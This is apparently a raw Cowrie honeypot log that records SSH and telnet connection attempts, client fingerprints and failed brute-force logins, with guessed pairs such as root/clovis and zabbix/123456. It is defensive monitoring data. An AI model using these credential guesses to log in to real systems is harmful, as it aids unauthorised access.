{"eventid":"cowrie.session.closed","duration":39.674630880355835,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:39.954313Z","src_ip":"152.42.224.71","session":"e7fea78b96b7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:40.084389Z","src_ip":"31.40.204.166","session":"a827f40fb15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.9564049243927,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:40.736013Z","src_ip":"152.42.224.71","session":"4650e643c1b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:40.809627Z","src_ip":"31.40.204.166","session":"a827f40fb15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33116,"dst_ip":"10.17.0.5","dst_port":23,"session":"0955f7f0b088","protocol":"telnet","message":"New connection: 152.42.224.71:33116 (10.17.0.5:23) [session: 0955f7f0b088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:41.746483Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:42.085136Z","src_ip":"31.40.204.166","session":"a827f40fb15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33126,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecd577bf311e","protocol":"telnet","message":"New connection: 152.42.224.71:33126 (10.17.0.5:23) [session: ecd577bf311e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:42.535108Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33134,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6ab7e02935d","protocol":"telnet","message":"New connection: 152.42.224.71:33134 (10.17.0.5:23) [session: b6ab7e02935d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:42.751869Z"}
{"eventid":"cowrie.session.closed","duration":10.299046277999878,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:42.764662Z","src_ip":"152.42.224.71","session":"c31ac46b4fb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33146,"dst_ip":"10.17.0.5","dst_port":23,"session":"e11e4953306a","protocol":"telnet","message":"New connection: 152.42.224.71:33146 (10.17.0.5:23) [session: e11e4953306a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:44.593838Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":57178,"dst_ip":"159.203.135.109","dst_port":22,"session":"d470dca44d0e","protocol":"ssh","message":"New connection: 119.28.115.94:57178 (159.203.135.109:22) [session: d470dca44d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:46.705212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:46.710365Z","src_ip":"119.28.115.94","session":"d470dca44d0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:46.955563Z","src_ip":"119.28.115.94","session":"d470dca44d0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":52784,"dst_ip":"159.203.135.109","dst_port":22,"session":"6558c1fe4865","protocol":"ssh","message":"New connection: 101.36.108.213:52784 (159.203.135.109:22) [session: 6558c1fe4865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:46.963406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:46.969449Z","src_ip":"101.36.108.213","session":"6558c1fe4865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:47.191123Z","src_ip":"101.36.108.213","session":"6558c1fe4865","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clovis","message":"login attempt [root/clovis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:47.964344Z","src_ip":"119.28.115.94","session":"d470dca44d0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxx","message":"login attempt [root/xxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:48.106134Z","src_ip":"101.36.108.213","session":"6558c1fe4865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:49.215903Z","src_ip":"119.28.115.94","session":"d470dca44d0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:49.325801Z","src_ip":"101.36.108.213","session":"6558c1fe4865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35456,"dst_ip":"10.17.0.5","dst_port":23,"session":"911bf57dc97d","protocol":"telnet","message":"New connection: 152.42.224.71:35456 (10.17.0.5:23) [session: 911bf57dc97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:50.430087Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":57484,"dst_ip":"10.17.0.5","dst_port":22,"session":"174505751bdb","protocol":"ssh","message":"New connection: 103.15.222.183:57484 (10.17.0.5:22) [session: 174505751bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:50.800784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:50.805316Z","src_ip":"103.15.222.183","session":"174505751bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:51.057273Z","src_ip":"103.15.222.183","session":"174505751bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima2002","message":"login attempt [root/dima2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:51.812950Z","src_ip":"103.15.222.183","session":"174505751bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35468,"dst_ip":"10.17.0.5","dst_port":23,"session":"55047997fa82","protocol":"telnet","message":"New connection: 152.42.224.71:35468 (10.17.0.5:23) [session: 55047997fa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:53.003328Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:53.067116Z","src_ip":"103.15.222.183","session":"174505751bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59632,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4f9c55f9ae6","protocol":"ssh","message":"New connection: 31.40.204.166:59632 (159.203.135.109:22) [session: e4f9c55f9ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:53.784113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:53.794409Z","src_ip":"31.40.204.166","session":"e4f9c55f9ae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:54.000392Z","src_ip":"31.40.204.166","session":"e4f9c55f9ae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:54.614380Z","src_ip":"31.40.204.166","session":"e4f9c55f9ae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:55.801451Z","src_ip":"31.40.204.166","session":"e4f9c55f9ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":45354,"dst_ip":"159.203.135.109","dst_port":22,"session":"31bf83b46c33","protocol":"ssh","message":"New connection: 43.134.228.151:45354 (159.203.135.109:22) [session: 31bf83b46c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:58.349490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:58.354187Z","src_ip":"43.134.228.151","session":"31bf83b46c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:58.592855Z","src_ip":"43.134.228.151","session":"31bf83b46c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terry","message":"login attempt [root/terry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:59.579284Z","src_ip":"43.134.228.151","session":"31bf83b46c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60064,"dst_ip":"10.17.0.5","dst_port":23,"session":"f29bae2d9c3d","protocol":"telnet","message":"New connection: 152.42.224.71:60064 (10.17.0.5:23) [session: f29bae2d9c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:19:59.967359Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:00.820929Z","src_ip":"43.134.228.151","session":"31bf83b46c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60068,"dst_ip":"10.17.0.5","dst_port":23,"session":"4941e96ae2fc","protocol":"telnet","message":"New connection: 152.42.224.71:60068 (10.17.0.5:23) [session: 4941e96ae2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:03.049729Z"}
{"eventid":"cowrie.session.closed","duration":42.56724810600281,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:05.226250Z","src_ip":"152.42.224.71","session":"93e3ced6fab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.36327576637268,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:07.897279Z","src_ip":"152.42.224.71","session":"94c1c1adf5c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56276,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2e9048f26cc","protocol":"telnet","message":"New connection: 152.42.224.71:56276 (10.17.0.5:23) [session: f2e9048f26cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:08.009163Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45778,"dst_ip":"159.203.135.109","dst_port":22,"session":"d33f85e6e321","protocol":"ssh","message":"New connection: 31.40.204.166:45778 (159.203.135.109:22) [session: d33f85e6e321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:08.282190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:08.288528Z","src_ip":"31.40.204.166","session":"d33f85e6e321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:08.418865Z","src_ip":"31.40.204.166","session":"d33f85e6e321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56260,"dst_ip":"10.17.0.5","dst_port":23,"session":"5caf59944f99","protocol":"telnet","message":"New connection: 152.42.224.71:56260 (10.17.0.5:23) [session: 5caf59944f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:08.524549Z"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:09.006443Z","src_ip":"31.40.204.166","session":"d33f85e6e321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56288,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c080dd6498e","protocol":"telnet","message":"New connection: 152.42.224.71:56288 (10.17.0.5:23) [session: 2c080dd6498e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:09.039863Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56302,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2df63eb11d1","protocol":"telnet","message":"New connection: 152.42.224.71:56302 (10.17.0.5:23) [session: e2df63eb11d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:09.705273Z"}
